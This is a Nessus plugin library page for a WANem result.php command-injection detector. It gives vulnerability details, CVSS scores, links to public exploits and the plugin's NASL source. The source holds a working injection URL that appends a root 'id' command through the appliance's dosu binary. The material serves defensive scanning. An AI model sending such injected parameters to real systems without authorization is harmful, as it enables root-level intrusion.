WANem result.php pc Parameter Remote Command Execution - Nessus

High   Plugin ID: 62737

This page contains detailed information about the WANem result.php pc Parameter Remote Command Execution Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 62737
Name: WANem result.php pc Parameter Remote Command Execution
Filename: wanem_result_command_exec.nasl
Vulnerability Published: 2012-08-12
This Plugin Published: 2012-10-29
Last Modification Time: 2021-01-19
Plugin Version: 1.12
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: wanem_detect.nasl
Required KB Items [?]: www/wanem
Excluded KB Items: Settings/disable_cgi_scanning

Vulnerability Information


Severity: High
Vulnerability Published: 2012-08-12
Patch Published: N/A
CVE [?]: N/A
CPE [?]: x-cpe:/a:tata:wanem

Synopsis

The remote web server hosts a web application that is affected by a remote command execution vulnerability.

Description

The remote web server hosts a version of WANem that is affected by a remote command execution vulnerability. The result.php script does not properly sanitize the 'pc' parameter. This can allow remote attackers to execute commands on the remote host, including with root privileges if utilizing the dosu binary installed on the appliance.

Solution

There is no known solution. As a workaround, either disable or restrict access to the application.

Public Exploits


Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, D2 Elliot)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the WANem result.php pc Parameter Remote Command Execution vulnerability:

  1. Metasploit: exploit/linux/http/wanem_exec
    [WAN Emulator v2.3 Command Execution]
  2. Exploit-DB: exploits/linux/remote/21190.rb
    [EDB-21190: WAN Emulator 2.3 - Command Execution (Metasploit)]
  3. D2 Elliot: wanem_2.3_rce.html
    [WANem 2.3 RCE]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:C/I:C/A:C/E:F/RL:U/RC:ND
CVSS Base Score:10.0 (High)
Impact Subscore:10.0
Exploitability Subscore:10.0
CVSS Temporal Score:9.5 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:9.5 (High)
CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:F/RL:U/RC:X
CVSS Base Score:8.8 (High)
Impact Subscore:5.9
Exploitability Subscore:2.8
CVSS Temporal Score:8.6 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:8.6 (High)

Go back to menu.

Plugin Source


This is the wanem_result_command_exec.nasl nessus plugin source code. This script is Copyright (C) 2012-2021 and is owned by Tenable, Inc. or an Affiliate thereof.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#


include('deprecated_nasl_level.inc');
include('compat.inc');


if (description)
{
  script_id(62737);
  script_version("1.12");
  script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");

  script_bugtraq_id(55485);
  script_xref(name:"EDB-ID", value:"21190");

  script_name(english:"WANem result.php pc Parameter Remote Command Execution");
  script_summary(english:"Tries to exploit command execution vulnerability");

  script_set_attribute(
    attribute:"synopsis",
    value:
"The remote web server hosts a web application that is affected by a
remote command execution vulnerability."
  );
  script_set_attribute(
    attribute:"description",
    value:
"The remote web server hosts a version of WANem that is affected by a
remote command execution vulnerability.  The result.php script does not
properly sanitize the 'pc' parameter.  This can allow remote attackers
to execute commands on the remote host, including with root privileges
if utilizing the dosu binary installed on the appliance."
  );
  # https://itsecuritysolutions.org/2012-08-12-WANem-v2.3-multiple-vulnerabilities/
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?60995f52");
  script_set_attribute(
    attribute:"solution",
    value:
"There is no known solution.  As a workaround, either disable or
restrict access to the application."
  );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:U/RC:ND");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:U/RC:X");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"WANem 2.3 RCE");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'WAN Emulator v2.3 Command Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2012/08/12");
  script_set_attribute(attribute:"plugin_publication_date", value:"2012/10/29");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"x-cpe:/a:tata:wanem");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2012-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("wanem_detect.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);
  script_require_keys("www/wanem");

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("url_func.inc");
include("data_protection.inc");

port = get_http_port(default:80);

appname = "WANem";

install = get_install_from_kb(
  appname      : 'wanem', 
  port         : port, 
  exit_on_fail : TRUE
);

dir = install['dir'];
install_url = build_url(port:port, qs:dir);

exploit = dir + '/result.php?pc=127.0.0.1;/UNIONFS/home/perc/dosu%20id';

# the server-side script takes between 10 and 15 seconds to complete
# this is because it runs the 'ping' command
http_set_read_timeout(30);

res = http_send_recv3(method:"GET", 
                      item:exploit,
                      port:port,
                      exit_on_fail:TRUE);

if (
  "uid=0(root)" >< res[2] &&
  "<title>Results of WANalyzer</title>" >< res[2]
)
{
  command_output = NULL;
  item = eregmatch(pattern:"(uid[^<]+)", string: res[2]);
  if (!isnull(item)) command_output = chomp(item[1]);
  
  if (report_verbosity > 0)
  {
    report = '\nNessus was able to exploit the issue to run the \'id\' command using' +
             '\nthe following URL :\n' +
             '\n  ' + build_url(port:port, qs:exploit) + '\n';
  
    if (!isnull(command_output))
      report += '\nHere are the command results :\n\n  ' + data_protection::sanitize_uid(output:command_output) + '\n'; 
    security_hole(port:port, extra:report);
  }
  else security_hole(port);
}
else audit(AUDIT_WEB_APP_NOT_AFFECTED, appname, install_url);

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/wanem_result_command_exec.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\wanem_result_command_exec.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/wanem_result_command_exec.nasl

Go back to menu.

How to Run


Here is how to run the WANem result.php pc Parameter Remote Command Execution as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select WANem result.php pc Parameter Remote Command Execution plugin ID 62737.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl wanem_result_command_exec.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a wanem_result_command_exec.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - wanem_result_command_exec.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state wanem_result_command_exec.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 62736 - WANem index-advanced.php XSS
  • 34292 - Observer <= 0.3.2.1 Multiple Remote Command Execution Vulnerabilities
  • 35090 - Moodle 'filter/tex/texed.php' 'pathname' Parameter Remote Command Execution
  • 40592 - WP-Syntax Plugin for WordPress 'apply_filters' function Command Execution
  • 43155 - HP OpenView Network Node Manager Multiple Scripts hostname Parameter Remote Command Execution
  • 44675 - GIT gitweb git_snapshot / git_object Shell Metacharacter Arbitrary Command Execution
  • 45345 - eScan MWAdmin forgotpassword.php uname Parameter Arbitrary Command Execution
  • 49088 - SnortReport nmap.php target Parameter Arbitrary Command Execution
  • 50510 - FreeNAS 'exec_raw.php' Arbitrary Command Execution
  • 53336 - GIT gitweb git_search Shell Metacharacter Arbitrary Command Execution
  • 53633 - Spreecommerce api/orders.json Search Function Arbitrary Command Execution
  • 57350 - Plone Request Parsing Remote Command Execution
  • 57576 - op5 Portal Arbitrary Command Execution
  • 57578 - op5 Config Arbitrary Command Execution
  • 57850 - Apache Struts 2 ParameterInterceptor Class OGNL Expression Parsing Remote Command Execution
  • 61435 - Symantec Web Gateway Multiple Script Shell Command Execution (SYM12-011)
  • 61517 - Umbraco codeEditorSave.asmx SaveDLRScript Operation Traversal File Upload Arbitrary Command Execution
  • 62293 - SAP Host Control SOAP Web Service 'Database/Name' Command Execution (SAP Note 1341333)
  • 63111 - Narcissus backend.php release Parameter Remote Command Execution
  • 64096 - Movable Type mt-upgrade.cgi Remote Command Execution
  • 64293 - ViArt Shop sips_response.php DATA Parameter Request Parsing Remote Shell Command Execution
  • 65127 - Adobe InDesign Server RunScript Arbitrary Command Execution
  • 66931 - Apache Struts 2 OGNL Expression Handling Double Evaluation Error Remote Command Execution
  • 66935 - Apache Struts 2 Crafted Parameter Arbitrary OGNL Expression Remote Command Execution
  • 68981 - Apache Struts 2 'action:' Parameter Arbitrary Remote Command Execution
  • 69240 - Apache Struts 2 ExceptionDelegator Arbitrary Remote Command Execution
  • 70585 - NETGEAR ReadyNAS Remote Unauthenticated Command Execution
  • 76873 - TimThumb 'timthumb.php' < 2.8.14 WebShot 'src' Parameter Remote Command Execution
  • 76874 - TimThumb 'timthumb.php' WebShot 'src' Parameter Remote Command Execution
  • 84086 - D-Link Router HNAP GetDeviceSettings Remote Command Execution
  • 84217 - phpMoAdmin saveObject Remote Command Execution
  • 85005 - Accellion Secure File Transfer Appliance 'oauth_token' Parameter Remote Command Execution
  • 85850 - Barracuda Web Filter <= 5.0.0.012 Remote Command Execution
  • 99595 - Tenable Appliance < 4.5.0 Web UI simpleupload.py Remote Command Execution (CVE-2017-8051)

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file wanem_result_command_exec.nasl version 1.12. For more plugins, visit the Nessus Plugin Library.

Go back to menu.